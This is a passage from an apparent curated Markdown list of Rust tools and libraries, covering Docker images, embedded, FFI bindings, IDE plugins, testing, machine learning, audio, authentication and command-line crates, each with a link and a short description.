[emk/rust-musl-builder](https://github.com/emk/rust-musl-builder) — Docker images for compiling static Rust binaries using musl-libc and musl-gcc, with static versions of useful C libraries * [kpcyrd/mini-docker-rust](https://github.com/kpcyrd/mini-docker-rust) — An example project for very small rust docker images * [liuchong/docker-rustup](https://github.com/liuchong/docker-rustup) — A multiple version (with musl tools) Rust Docker image * [LukeMathWalker/cargo-chef](https://github.com/LukeMathWalker/cargo-chef) - A tool and pre-built images for caching compiling remote dependencies between Docker builds. * [rust-cross/rust-musl-cross](https://github.com/rust-cross/rust-musl-cross) — Docker images for compiling static Rust binaries using musl-cross [![Build](https://github.com/rust-cross/rust-musl-cross/workflows/Build/badge.svg)](https://github.com/rust-cross/rust-musl-cross/actions?query=workflow%3ABuild) * [rust-lang-nursery/docker-rust](https://github.com/rust-lang/docker-rust) — the official Rust Docker image * Heroku * [emk/heroku-buildpack-rust](https://github.com/emk/heroku-buildpack-rust) — A buildpack for Rust applications on Heroku * [MarcoIeni/release-plz](https://github.com/MarcoIeni/release-plz) [[release-plz](https://crates.io/crates/release-plz)] — Release Rust crates from CI, with changelog generation and semver check. [![build badge](https://github.com/MarcoIeni/release-plz/workflows/CI/badge.svg)](https://github.com/MarcoIeni/release-plz/actions) ### Embedded [Rust Embedded](https://rust-embedded.org/) focuses on improving the end-to-end experience of using Rust in resource-constrained environments and non-traditional platforms. See [awesome-embedded-rust](https://github.com/rust-embedded/awesome-embedded-rust) for a curated, and more extended list of embedded Rust resources. * Arduino * [avr-rust/ruduino](https://github.com/avr-rust/ruduino) Reusable components for the Arduino Uno. * Cross compiling * [japaric/rust-cross](https://github.com/japaric/rust-cross) — everything you need to know about cross compiling Rust programs * [japaric/xargo](https://github.com/japaric/xargo) — effortless cross compilation of Rust programs to custom bare-metal targets like ARM Cortex-M * Espressif * [esp-rs](https://github.com/esp-rs) home to a number of community projects enabling the use of the Rust programming language on various SoCs and modules produced by Espressif Systems. * Firmware * [oreboot/oreboot](https://github.com/oreboot/oreboot) — oreboot is a fork of coreboot, with C removed, written in Rust * nRF * [nrf-rs/nrf-hal](https://github.com/nrf-rs/nrf-hal) — A Rust HAL for the nRF family of devices ### FFI See also [Foreign Function Interface](https://doc.rust-lang.org/book/first-edition/ffi.html), [The Rust FFI Omnibus](http://jakegoulding.com/rust-ffi-omnibus/) (a collection of examples of using code written in Rust from other languages) and [FFI examples written in Rust](https://github.com/alexcrichton/rust-ffi-examples). * C * [mozilla/cbindgen](https://github.com/mozilla/cbindgen) — generates C header files from Rust source files. Used in Gecko for WebRender * [Sean1708/rusty-cheddar](https://github.com/Sean1708/rusty-cheddar) — generates C header files from Rust source files * C++ * [dtolnay/cxx](https://github.com/dtolnay/cxx) — Safe interop between Rust and C++ [![build badge](https://img.shields.io/badge/github-dtolnay/cxx-8da0cb?style=for-the-badge&labelColor=555555&logo=github)](https://github.com/dtolnay/cxx) * [rust-cpp](https://crates.io/crates/cpp) - Embed C++ code directly in Rust. [![Build status](https://ci.appveyor.com/api/projects/status/uu76vmcrwnjqra0u/branch/master?svg=true)](https://ci.appveyor.com/project/mystor/rust-cpp/branch/master) * [rust-lang/rust-bindgen](https://github.com/rust-lang/rust-bindgen) — A Rust bindings generator * Erlang * [rusterlium/rustler](https://github.com/rusterlium/rustler) — safe Rust bridge for creating Erlang NIF functions * Java * [bennettanderson/rjni](https://github.com/benanders/rjni) — use Java from Rust * [drrb/java-rust-example](https://github.com/drrb/java-rust-example) — use Rust from Java * [j4rs](https://crates.io/crates/j4rs) — use Java from Rust * [jni](https://crates.io/crates/jni) — use Rust from Java * [jni-sys](https://crates.io/crates/jni-sys) — Rust definitions corresponding to jni.h * [rucaja](https://crates.io/crates/rucaja) — use Java from Rust * Lua * [jcmoyer/rust-lua53](https://github.com/jcmoyer/rust-lua53) — Lua 5.3 bindings for Rust * [lilyball/rust-lua](https://github.com/lilyball/rust-lua) — Safe Rust bindings to Lua 5.1 * [tickbh/td_rlua](https://github.com/tickbh/td_rlua) [[td_rlua](https://crates.io/crates/td_rlua)] — Zero-cost high-level lua 5.3 wrapper for Rust * [tomaka/hlua](https://github.com/tomaka/hlua) — Rust library to interface with Lua * mruby * [anima-engine/mrusty](https://github.com/anima-engine/mrusty) — mruby safe bindings for Rust * Node.js * [infinyon/node-bindgen](https://github.com/infinyon/node-bindgen) - Easy way to generate nodejs module using Rust * [neon-bindings/neon](https://github.com/neon-bindings/neon) — Rust bindings for writing safe and fast native Node.js modules * Objective-C * [SSheldon/rust-objc](https://github.com/SSheldon/rust-objc) — Objective-C Runtime bindings and wrapper for Rust * PHP * [phper-framework/phper](https://github.com/phper-framework/phper) — The framework that allows us to write PHP extensions using pure and safe Rust whenever possible * Python * [dgrunwald/rust-cpython](https://github.com/dgrunwald/rust-cpython) — Python bindings * [getsentry/milksnake](https://github.com/getsentry/milksnake) — extension for python setuptools that allows you to distribute dynamic linked libraries in Python wheels in the most portable way imaginable. * [PyO3/PyO3](https://github.com/PyO3/PyO3) — Rust bindings for the Python interpreter * [RustPython](https://github.com/RustPython/RustPython) — A Python Interpreter written in Rust [![Build Status](https://github.com/RustPython/RustPython/workflows/CI/badge.svg)](https://github.com/RustPython/RustPython/actions?query=workflow%3ACI) * Ruby * [d-unseductable/ruru](https://github.com/d-unseductable/ruru) — native Ruby extensions written in Rust * [danielpclark/rutie](https://github.com/danielpclark/rutie) — native Ruby extensions written in Rust and vice versa * Web Assembly * [rhysd/wain](https://github.com/rhysd/wain) - wain: WebAssembly INterpreter from scratch in Safe Rust with zero dependency [![build badge](https://github.com/rhysd/wain/workflows/CI/badge.svg?branch=master&event=push)](https://github.com/rhysd/wain/actions?query=workflow%3ACI+branch%3Amaster+event%3Apush) * [rustwasm/wasm-bindgen](https://github.com/rustwasm/wasm-bindgen) — A project for facilitating high-level interactions between wasm modules and JS. * [rustwasm/wasm-pack](https://github.com/rustwasm/wasm-pack) — :package: :sparkles: pack up the wasm and publish it to npm! ### Formatters * [dprint](https://github.com/dprint/dprint) — A pluggable and configurable code formatting platform [![build badge](https://github.com/dprint/dprint/workflows/CI/badge.svg)](https://github.com/dprint/dprint/actions?query=workflow%3ACI) * [Prettier Rust](https://github.com/jinxdash/prettier-plugin-rust) — An opinionated Rust code formatter that autofixes bad syntax ([Prettier](https://prettier.io/) community plugin) * [rustfmt](https://github.com/rust-lang/rustfmt) — Rust code formatter maintained by the Rust team and included in cargo ### IDEs See also [Are we (I)DE yet?](https://areweideyet.com/) and [Rust Tools](https://www.rust-lang.org/tools). * [Atom](https://github.blog/2022-06-08-sunsetting-atom/) * [rust-lang/atom-ide-rust](https://github.com/rust-lang/atom-ide-rust) — Rust IDE support for Atom, powered by the Rust Language Server (RLS) * [Eclipse](https://www.eclipse.org/) * [Eclipse Corrosion](https://github.com/eclipse-corrosion/corrosion) * [Emacs](https://www.gnu.org/software/emacs/) * [emacs-racer](https://github.com/racer-rust/emacs-racer) — Autocompletion (see also [company](https://company-mode.github.io) and [auto-complete](https://github.com/auto-complete/auto-complete)) * [flycheck-rust](https://github.com/flycheck/flycheck-rust) — Rust support for [Flycheck](https://github.com/flycheck/flycheck) * [rust-mode](https://github.com/rust-lang/rust-mode) — Rust Major Mode * [rustic](https://github.com/brotzeit/rustic) - Rust development environment for Emacs [![build badge](https://github.com/brotzeit/rustic/workflows/CI/badge.svg)](https://github.com/brotzeit/rustic/actions?query=workflow%3ACI) * [gitpod.io](https://gitpod.io) — Online IDE with full Rust support based on Rust Language Server * [gnome-builder](https://wiki.gnome.org/Apps/Builder) native support for rust and cargo since Version 3.22.2 * [IntelliJ](https://www.jetbrains.com/idea/) * [intellij-rust/intellij-rust](https://github.com/intellij-rust/intellij-rust) — * [Kakoune](http://kakoune.org/) * [kak-lsp/kak-lsp](https://github.com/kak-lsp/kak-lsp/) — [LSP](https://microsoft.github.io/language-server-protocol/) client. Implemented in Rust and supports rls out of the box. * [lapce](https://github.com/lapce/lapce) — Lightning-fast and Powerful Code Editor written in Rust. [![build badge](https://github.com/lapce/lapce/actions/workflows/release.yml/badge.svg)](https://github.com/lapce/lapce/actions/workflows/release.yml) * [Ride](https://github.com/madeso/ride) — * [Sublime Text](https://www.sublimetext.com/) * [rust-lang/rust-enhanced](https://github.com/rust-lang/rust-enhanced) — official Rust package * [Vim](https://vim.sourceforge.io/) — the ubiquitous text editor * [autozimu/LanguageClient-neovim](https://github.com/autozimu/LanguageClient-neovim) — [LSP](https://microsoft.github.io/language-server-protocol/) client. Implemented in Rust and supports rls out of the box. * [crates.nvim](https://github.com/Saecki/crates.nvim) - plugin that helps to managing crates.io dependencies. * [rust-tools.nvim](https://github.com/simrat39/rust-tools.nvim) - Tools for better development in rust using neovim's builtin lsp * [rust.vim](https://github.com/rust-lang/rust.vim) — provides file detection, syntax highlighting, formatting, Syntastic integration, and more. * [vim-racer](https://github.com/racer-rust/vim-racer) — allows vim to use [Racer](https://github.com/racer-rust/racer) for Rust code completion and navigation. * Visual Studio * [dgriffen/rls-vs2017](https://github.com/ZoeyR/rls-vs2017) — Rust support for Visual Studio 2017 Preview [![build badge](https://ci.appveyor.com/api/projects/status/d2lxlincwninhsng?svg=true)](https://ci.appveyor.com/project/dgriffen/rls-vs2017) * [PistonDevelopers/VisualRust](https://github.com/PistonDevelopers/VisualRust) — A Visual Studio extension for Rust [![Build status](https://ci.appveyor.com/api/projects/status/5nw5no10jj0y4p3f?svg=true)](https://ci.appveyor.com/project/vosen/visualrust) * [Visual Studio Code](https://code.visualstudio.com/) * [Better TOML](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) - TOML support in vscode * [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) — A LLDB extension * [crates](https://github.com/serayuzgur/crates) — crates is an extension for crates.io dependencies. [![build badge](https://img.shields.io/vscode-marketplace/v/serayuzgur.crates.svg)](https://github.com/serayuzgur/crates) * [Prettier - Code formatter (Rust)](https://marketplace.visualstudio.com/items?itemName=jinxdash.prettier-rust) — Opinionated Rust code formatter that autofixes bad syntax ([Prettier](https://prettier.io/) community plugin) * [rust-analyzer](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer) — An alternative rust language server to the RLS * [rust-lang/rls-vscode](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust) — Rust support for Visual Studio Code (supports both RLS and rust-analyzer) ### Profiling * [Bencher](https://github.com/bencherdev/bencher) - A suite of continuous benchmarking tools designed to catch performance regressions in CI * [bheisler/criterion.rs](https://github.com/bheisler/criterion.rs) — Statistics-driven benchmarking library for Rust * [Bytehound](https://github.com/koute/bytehound) — A memory profiler for Linux * [ellisonch/rust-stopwatch](https://github.com/ellisonch/rust-stopwatch) — A stopwatch library * FlameGraphs * [llogiq/flame](https://github.com/llogiq/flame) — * [mrhooray/torch](https://github.com/mrhooray/torch) — generates FlameGraphs based on DWARF Debug Info * [sharkdp/hyperfine](https://github.com/sharkdp/hyperfine) — A command-line benchmarking tool ### Services * [deps.rs](https://github.com/deps-rs/deps.rs) — Detect outdated or insecure dependencies * [docs.rs](https://docs.rs) — Automatic documentation generation of crates ### Static analysis [[assert](https://crates.io/keywords/assert), [static](https://crates.io/keywords/static)] * [facebookexperimental/MIRAI](https://github.com/facebookexperimental/mirai) — an abstract interpreter operating on Rust's mid-level intermediate representation (MIR) [![Continuous Integration](https://github.com/facebookexperimental/mirai/actions/workflows/rust.yml/badge.svg)](https://github.com/facebookexperimental/mirai/actions/workflows/rust.yml) * [static_assertions](https://crates.io/crates/static_assertions) — Compile-time assertions to ensure that invariants are met ### Testing [[test](https://crates.io/keywords/test), [testing](https://crates.io/keywords/testing)] * Code Coverage * [tarpaulin](https://crates.io/crates/cargo-tarpaulin) — A code coverage tool designed for Rust * Continuous Integration * [trust](https://github.com/japaric/trust) — A Travis CI and AppVeyor template to test your Rust crate on 5 architectures and publish binary releases of it for Linux, macOS and Windows * Frameworks and Runners * [AlKass/polish](https://github.com/AlKass/polish) — Mini Testing/Test-Driven Framework [![Crates Package Status](https://img.shields.io/crates/v/polish.svg)](https://crates.io/crates/polish) * [cargo-dinghy](https://crates.io/crates/cargo-dinghy/) - A cargo extension to simplify running library tests and benches on smartphones and other small processor devices. * [cucumber](https://crates.io/crates/cucumber) [![Latest Version](https://img.shields.io/crates/v/cucumber.svg)](https://crates.io/crates/cucumber) — An implementation of the Cucumber testing framework for Rust. Fully native, no external test runners or dependencies. [![Build Status](https://github.com/cucumber-rs/cucumber/workflows/CI/badge.svg?branch=master)](https://github.com/cucumber-rs/cucumber) * [d-e-s-o/test-log](https://github.com/d-e-s-o/test-log) [[test-log](https://crates.io/crates/test-log)] — A replacement of the `#[test]` attribute that initializes logging and/or tracing infrastructure before running tests. [![GitHub Workflow Status](https://github.com/d-e-s-o/test-log/actions/workflows/test.yml/badge.svg?branch=main)](https://github.com/d-e-s-o/test-log/actions/workflows/test.yml) * [demonstrate](https://crates.io/crates/demonstrate) — Declarative Testing Framework [![Build Status](https://github.com/aubaugh/demonstrate/workflows/Continuous%20Integration/badge.svg?branch=master)](https://github.com/aubaugh/demonstrate) * [rstest](https://crates.io/crates/rstest) — Fixture-based test framework for Rust [![Build Status](https://github.com/la10736/rstest/workflows/Test/badge.svg?branch=master)](https://github.com/la10736/rstest/actions) * [speculate](https://crates.io/crates/speculate) — An RSpec inspired minimal testing framework for Rust * Mocking and Test Data * [asomers/mockall](https://github.com/asomers/mockall) [[mockall](https://crates.io/crates/mockall)] — A powerful mock object library for Rust. [![Cirrus Build Status](https://api.cirrus-ci.com/github/asomers/mockall.svg)](https://cirrus-ci.com/github/asomers/mockall) * [fake-rs](https://github.com/cksac/fake-rs) — A library for generating fake data * [goldenfile](https://github.com/calder/rust-goldenfile) [[goldenfile](https://crates.io/crates/goldenfile)] - A library providing a simple API for goldenfile testing. * [httpmock](https://github.com/alexliesenfeld/httpmock) — HTTP mocking [![build badge](https://dev.azure.com/alexliesenfeld/httpmock/_apis/build/status/alexliesenfeld.httpmock?branchName=master)](https://dev.azure.com/alexliesenfeld/httpmock/_build/latest?definitionId=2&branchName=master) * [mockiato](https://crates.io/crates/mockiato) — A strict, yet friendly mocking library for Rust 2018 * [mockito](https://crates.io/crates/mockito) — HTTP mocking * [nrxus/faux](https://github.com/nrxus/faux/) [![Latest Version](https://img.shields.io/crates/v/faux.svg)](https://crates.io/crates/faux) — A library to create mocks out of structs. ![build](https://github.com/nrxus/faux/workflows/test/badge.svg?branch=master) * [synth](https://github.com/shuttle-hq/synth/) — Generate database data declaratively. [![build](https://github.com/shuttle-hq/synth/actions/workflows/synth-test.yml/badge.svg)](https://github.com/shuttle-hq/synth) * Mutation Testing * [cargo-mutants](https://github.com/sourcefrog/cargo-mutants) [[cargo-mutants](https://crates.io/crates/cargo-mutants)] - Finds inadequately tested code by injecting mutations, no source changes required. [![build badge](https://github.com/sourcefrog/cargo-mutants/actions/workflows/tests.yml/badge.svg?branch=main&event=push)](https://github.com/sourcefrog/cargo-mutants/actions/workflows/tests.yml?query=branch%3Amain) * [mutagen](https://github.com/llogiq/mutagen) [[mutagen](https://crates.io/crates/mutagen)] — A source-level mutation testing framework (nightly only) * Property Testing and Fuzzing * [proptest](https://crates.io/crates/proptest) — property testing framework inspired by the [Hypothesis](https://hypothesis.works/) framework for Python * [quickcheck](https://crates.io/crates/quickcheck) — A Rust implementation of [QuickCheck](https://wiki.haskell.org/Introduction_to_QuickCheck1) * [rust-fuzz/afl.rs](https://github.com/rust-fuzz/afl.rs) — A Rust fuzzer, using [AFL](https://lcamtuf.coredump.cx/afl/) ### Transpiling * [BayesWitnesses/m2cgen](https://github.com/BayesWitnesses/m2cgen) — A CLI tool to transpile trained classic machine learning models into a native Rust code with zero dependencies. [![GitHub Actions Status](https://github.com/BayesWitnesses/m2cgen/workflows/GitHub%20Actions/badge.svg?branch=master)](https://github.com/BayesWitnesses/m2cgen/actions) * [immunant/c2rust](https://github.com/immunant/c2rust) — C to Rust translator and cross checker built atop Clang/LLVM. * [jameysharp/corrode](https://github.com/jameysharp/corrode) — A C to Rust translator written in Haskell. ## Libraries * [perf-monitor-rs](https://github.com/larksuite/perf-monitor-rs) — A toolkit designed to be a foundation for applications to monitor their performance. [![crates.io](https://img.shields.io/crates/v/perf_monitor.svg)](https://crates.io/crates/perf_monitor) ### Artificial Intelligence #### Genetic algorithms * [innoave/genevo](https://github.com/innoave/genevo) — Execute genetic algorithm (GA) simulations in a customizable and extensible way. * [m-decoster/RsGenetic](https://github.com/m-decoster/RsGenetic) — Genetic Algorithm library in Rust. In maintenance mode. * [Martin1887/oxigen](https://github.com/Martin1887/oxigen) — Fast, parallel, extensible and adaptable genetic algorithm library. A example using this library solves the N Queens problem for N = 255 in only few seconds and using less than 1 MB of RAM. * [pkalivas/radiate](https://github.com/pkalivas/radiate) — A customizable parallel genetic programming engine capable of evolving solutions for supervised, unsupervised, and reinforcement learning problems. Comes with complete and customizable implementation of NEAT and Evtree.![Crates.io](https://img.shields.io/crates/v/radiate) * [willi-kappler/darwin-rs](https://github.com/willi-kappler/darwin-rs) — Evolutionary algorithms with Rust #### Machine learning See [[Machine learning](https://crates.io/keywords/machine-learning)] See also [About Rust’s Machine Learning Community](https://medium.com/@autumn_eng/about-rust-s-machine-learning-community-4cda5ec8a790#.hvkp56j3f) and [Are we learning yet?](https://www.arewelearningyet.com). * [autumnai/leaf](https://github.com/autumnai/leaf) — Open Machine Intelligence framework.. Abandoned project. The most updated fork is [spearow/juice]( https://github.com/spearow/juice). * [coreylowman/dfdx](https://github.com/coreylowman/dfdx) — CUDA accelearted machine learning framework that leverages many of Rust's unique features. ![Crates.io](https://img.shields.io/crates/v/dfdx) * [huggingface/candle](https://github.com/huggingface/candle) [[candle-core](https://crates.io/crates/candle-core)]- a minimalist ML framework with a focus on easiness of use and on performance (including GPU support) * [huggingface/tokenizers](https://github.com/huggingface/tokenizers) - Hugging Face's tokenizers for modern NLP pipelines written in Rust (original implementation) with bindings for Python. [![Build Status](https://github.com/huggingface/tokenizers/workflows/Rust/badge.svg?branch=master)](https://github.com/huggingface/tokenizers/actions) * [LaurentMazare/tch-rs](https://github.com/LaurentMazare/tch-rs) — Rust language bindings for PyTorch. * [maciejkula/rustlearn](https://github.com/maciejkula/rustlearn) — Machine learning crate for Rust. [![Circle CI](https://circleci.com/gh/maciejkula/rustlearn.svg?style=svg)](https://app.circleci.com/pipelines/github/maciejkula/rustlearn) * [rust-ml/linfa](https://github.com/rust-ml/linfa) — Machine learning framework. * [smartcorelib/smartcore](https://github.com/smartcorelib/smartcore) — Machine Learning Library In Rust [![Build Status](https://img.shields.io/circleci/build/github/smartcorelib/smartcore)](https://smartcorelib.org/) * [tensorflow/rust](https://github.com/tensorflow/rust) — Rust language bindings for TensorFlow. #### OpenAI * [64bit/async-openai](https://github.com/64bit/async-openai) [[async-openai](https://crates.io/crates/async-openai)] — Ergonomic Rust bindings for OpenAI API based on OpenAPI spec. * [zurawiki/tiktoken-rs](https://github.com/zurawiki/tiktoken-rs) [[tiktoken-rs](https://crates.io/crates/tiktoken-rs)] — Rust library for tokenizing text with OpenAI models using tiktoken. [![CI](https://github.com/zurawiki/tiktoken-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/zurawiki/tiktoken-rs/actions/workflows/ci.yml) ### Astronomy [[astronomy](https://crates.io/keywords/astronomy)] * [cds-astro/aladin-lite](https://github.com/cds-astro/aladin-lite) - Web application for visualizing spatial and planetary image surveys in different projections * [fitsio](https://crates.io/crates/fitsio) — fits interface library wrapping cfitsio * [flosse/rust-sun](https://github.com/flosse/rust-sun) [[sun](https://crates.io/crates/sun)] — A rust port of the JS library suncalc * [saurvs/astro-rust](https://github.com/saurvs/astro-rust) — astronomy for Rust ### Asynchronous * [async-std](https://async.rs/) [[async-std]](https://crates.io/crates/async-std) - Async version of the Rust standard library [![CI](https://github.com/async-rs/async-std/actions/workflows/ci.yml/badge.svg?branch=master)](https://github.com/async-rs/async-std/actions/workflows/ci.yml) * [dpc/mioco](https://github.com/dpc/mioco) — Scalable, coroutine-based, asynchronous IO handling library * [mio](https://github.com/tokio-rs/mio) — MIO is a lightweight IO library for Rust with a focus on adding as little overhead as possible over the OS abstractions * [rust-lang/futures-rs](https://github.com/rust-lang/futures-rs) — Zero-cost futures in Rust * [TeaEntityLab/fpRust](https://github.com/TeaEntityLab/fpRust) — Monad/MonadIO, Handler, Coroutine/doNotation, Functional Programming features for Rust * [Xudong-Huang/may](https://github.com/Xudong-Huang/may) — rust stackful coroutine library * [zonyitoo/coio-rs](https://github.com/zonyitoo/coio-rs) — A coroutine I/O library with a working-stealing scheduler ### Audio and Music [[audio](https://crates.io/keywords/audio)] * [hound](https://crates.io/crates/hound) — A WAV encoding and decoding library * [insomnimus/nodi](https://github.com/insomnimus/nodi) [[nodi](https://crates.io/crates/nodi)] — A library for playback and abstraction of MIDI files. [![build badge](https://github.com/insomnimus/nodi/actions/workflows/main.yml/badge.svg?branch=main)](https://github.com/insomnimus/nodi/actions) * [jhasse/ears](https://github.com/jhasse/ears) — A simple library to play Sounds and Musics, on top of OpenAL and libsndfile * [musitdev/portmidi-rs](https://github.com/musitdev/portmidi-rs) — [PortMidi](https://portmedia.sourceforge.net/portmidi/) bindings * [ozankasikci/rust-music-theory](https://github.com/ozankasikci/rust-music-theory) — A Rust music theory library * [pdeljanov/Symphonia](https://github.com/pdeljanov/Symphonia) — A pure Rust audio decoding and media demuxing library supporting AAC, FLAC, MP3, MP4, OGG, Vorbis, and WAV. * [RustAudio](https://github.com/RustAudio) * [RustAudio/cpal](https://github.com/RustAudio/cpal) - Low-level cross-platform audio I/O library in pure Rust. [![Actions Status](https://github.com/RustAudio/cpal/workflows/cpal/badge.svg?branch=master)](https://github.com/RustAudio/cpal/actions) * [RustAudio/rodio](https://github.com/RustAudio/rodio) — A Rust audio playback library * [RustAudio/rust-portaudio](https://github.com/RustAudio/rust-portaudio) — PortAudio bindings * [Serial-ATA/lofty-rs](https://github.com/Serial-ATA/lofty-rs) [[lofty](https://crates.io/crates/lofty)] — A library for reading and editing the metadata of various audio formats [![build badge](https://github.com/Serial-ATA/lofty-rs/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/Serial-ATA/lofty-rs/actions) ### Authentication * [constantoine/totp-rs](https://github.com/constantoine/totp-rs) [[totp-rs](https://crates.io/crates/totp-rs)] — 2fa library to generate and verify TOTP-based tokens ![Build Status](https://github.com/constantoine/totp-rs/workflows/Rust/badge.svg) * [Keats/jsonwebtoken](https://github.com/Keats/jsonwebtoken) — [JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token) lib in rust * [oauth2](https://github.com/ramosbugs/oauth2-rs) — Extensible, strongly-typed Rust OAuth2 client library * [oxide-auth](https://github.com/HeroicKatora/oxide-auth) — A OAuth2 server library, for use in combination with actix or other frontends, featuring a set of configurable and pluggable backends [![Build Status](https://api.cirrus-ci.com/github/HeroicKatora/oxide-auth.svg?branch=master)](https://cirrus-ci.com/github/HeroicKatora/oxide-auth) * [sgrust01/jwtvault](https://github.com/sgrust01/jwtvault) — Async library to manage and orchestrate JWT workflow * [yup-oauth2](https://github.com/dermesser/yup-oauth2) — An oauth2 client implementation providing the Device, Installed and Service Account flows ### Automotive * [marcelbuesing/can-dbc](https://github.com/marcelbuesing/can-dbc) [[can-dbc](https://crates.io/crates/can-dbc)] — A parser for the DBC format * [marcelbuesing/tokio-socketcan-bcm](https://github.com/marcelbuesing/tokio-socketcan-bcm) [[tokio-socketcan-bcm](https://crates.io/crates/tokio-socketcan-bcm)] — Linux SocketCAN BCM support for tokio * [mbr/socketcan](https://github.com/socketcan-rs/socketcan-rs) [[socketcan](https://crates.io/crates/socketcan)] — Linux SocketCAN library * [oefd/tokio-socketcan](https://github.com/oefd/tokio-socketcan) [[tokio-socketcan]](https://crates.io/crates/tokio-socketcan)] — Linux SocketCAN support for tokio based on the socketcan crate * [Sensirion/lin-bus](https://github.com/Sensirion/lin-bus-rs) [[lin-bus](https://crates.io/crates/lin-bus)] — LIN bus driver traits and protocol implementation [![build badge](https://circleci.com/gh/Sensirion/lin-bus-rs.svg?style=svg)](https://app.circleci.com/pipelines/github/Sensirion/lin-bus-rs) ### Bioinformatics * [Rust-Bio](https://github.com/rust-bio) — bioinformatics libraries in Rust. ### Caching * [06chaynes/http-cache](https://github.com/06chaynes/http-cache) [[http-cache](https://crates.io/crates/http-cache)] - A caching middleware that follows HTTP caching rules [![build badge](https://github.com/06chaynes/http-cache/workflows/http-cache/badge.svg)](https://github.com/06chaynes/http-cache/actions/workflows/http-cache.yml) * [aisk/rust-memcache](https://github.com/aisk/rust-memcache) — Memcached client library * [al8n/stretto](https://github.com/al8n/stretto) - A high performance thread-safe memory-bound Rust cache [![build badge](https://github.com/al8n/stretto/actions/workflows/ci.yml/badge.svg)](https://github.com/al8n/stretto/actions/workflows/ci.yml) * [jaemk/cached](https://github.com/jaemk/cached) — Simple function caching/memoization * [moka-rs/moka](https://github.com/moka-rs/moka) - A high performance concurrent caching library for Rust inspired by the Caffeine library for Java [![build badge](https://github.com/moka-rs/moka/workflows/CI/badge.svg)](https://github.com/moka-rs/moka/actions/workflows/CI.yml) * [mozilla/sccache](https://github.com/mozilla/sccache/) - Shared Compilation Cache, great for Rust compilation * [zkat/cacache-rs](https://github.com/zkat/cacache-rs) - A high-performance, concurrent, content-addressable disk cache, optimized for async APIs [![build badge](https://github.com/zkat/cacache-rs/workflows/CI/badge.svg)](https://github.com/zkat/cacache-rs/actions/workflows/ci.yml) ### Cloud * AWS [[aws](https://crates.io/keywords/aws)] * [awslabs/aws-lambda-rust-runtime](https://github.com/awslabs/aws-lambda-rust-runtime) [[lambda_runtime](https://crates.io/crates/lambda_runtime)] — A Rust runtime for AWS Lambda [![build badge](https://github.com/awslabs/aws-lambda-rust-runtime/workflows/Rust/badge.svg)](https://github.com/awslabs/aws-lambda-rust-runtime/actions) * [awslabs/aws-sdk-rust](https://github.com/awslabs/aws-sdk-rust) - The new AWS SDK for Rust * [rusoto/rusoto](https://github.com/rusoto/rusoto) — * Load Balancer * [Convey](https://github.com/bparli/convey) - Layer 4 Load Balancer with dynamic configuration loading. * Multi Cloud * [Qovery/engine](https://github.com/Qovery/engine) - Abstraction layer library that turns easy application deployment on Cloud providers in just a few minutes ### Command-line * Argument parsing * [clap-rs](https://github.com/clap-rs/clap) [[clap](https://crates.io/crates/clap)] — A simple to use, full featured command-line argument parser * [cliparser](https://crates.io/crates/cliparser) — Simple command line parser. [![build badge](https://github.com/sagiegurari/cliparser/workflows/CI/badge.svg?branch=master)](https://github.com/sagiegurari/cliparser/actions) * [docopt/docopt.rs](https://github.com/docopt/docopt.rs) [[docopt](https://crates.io/crates/docopt)] — A Rust implementation of [DocOpt](http://docopt.org) * [google/argh](https://github.com/google/argh) [[argh](https://crates.io/crates/argh)] — An opinionated Derive-based argument parser optimized for code size [![build badge](https://github.com/google/argh/workflows/Argh/badge.svg?branch=master)](https://github.com/google/argh/actions) * [killercup/quicli](https://github.com/killercup/quicli) [[quicli](https://crates.io/crates/quicli)] — quickly build cool CLI apps in Rust * [ksk001100/seahorse](https://github.com/ksk001100/seahorse) [[seahorse](https://crates.io/crates/seahorse)] — A minimal CLI framework written in Rust [![Build status](https://github.com/ksk001100/seahorse/workflows/CI/badge.svg?branch=master)](https://github.com/ksk001100/seahorse/actions) * [TeXitoi/structopt](https://github.com/TeXitoi/structopt) [[structopt](https://crates.io/crates/structopt)] — parse command line argument by defining a struct * Data visualization * [nukesor/comfy-table](https://github.com/nukesor/comfy-table) [[comfy-table](https://crates.io/crates/comfy-table)] — Beautiful dynamic tables for your cli tools. [![Build status](https://github.com/Nukesor/comfy-table/workflows/Tests/badge.svg?branch=master)](https://github.com/nukesor/comfy-table/actions) * [zhiburt/tabled](https://github.com/zhiburt/tabled) [[tabled](https://crates.io/crates/tabled)] — An easy to use library for pretty print tables of Rust structs and enums. [![Build Status](https://github.com/zhiburt/tabled/actions/workflows/ci.yml/badge.svg)](https://github.com/zhiburt/tabled/actions) * Human-centered design * [rust-cli/human-panic](https://github.com/rust-cli/human-panic) [[human-panic](https://crates.io/crates/human-panic)] — panic messages for humans * Line editor * [kkawakam/rustyline](https://github.com/kkawakam/rustyline) [[rustyline](https://crates.io/crates/rustyline)] — readline implementation in Rust * [MovingtoMars/liner](https://github.com/MovingtoMars/liner) [[liner](https://crates.io/crates/liner)] — A library offering readline-like functionality * [murarth/linefeed](https://github.com/murarth/linefeed) [[linefeed](https://crates.io/crates/linefeed)] — Configurable, extensible, interactive line reader * [srijs/rust-copperline](https://github.com/srijs/rust-copperline) [[copperline](https://crates.io/crates/copperline)] — pure-Rust command line editing library * Other * [mgrachev/update-informer](https://github.com/mgrachev/update-informer) [[update-informer](https://crates.io/crates/update-informer)] — Update informer for CLI applications. It checks for a new version on Crates.io and GitHub [![build badge](https://github.com/mgrachev/update-informer/workflows/CI/badge.svg)](https://github.com/mgrachev/update-informer/actions) * Pipeline * [hniksic/rust-subprocess](https://github.com/hniksic/rust-subprocess) [[subprocess](https://crates.io/crates/subprocess)] — facilities for interaction with external pipelines * [imp/pager-rs](https://gitlab.com/imp/pager-rs) [[pager](https://crates.io/crates/pager)] — pipe your output through an external pager * [oconnor663/duct.rs](https://github.com/oconnor663/duct.rs) [[duct](https://crates.io/crates/duct)] — A builder for subprocess pipelines and IO redirection * [rust-cli/rexpect](https://github.com/rust-cli/rexpect) [[rexpect](https://crates.io/crates/rexpect)] — automate interactive applications such as ssh, ftp, passwd, etc [![CI](https://github.com/rust-cli/rexpect/actions/workflows/ci.yml/badge.svg)](https://github.com/rust-cli/rexpect/actions/workflows/ci.yml) * 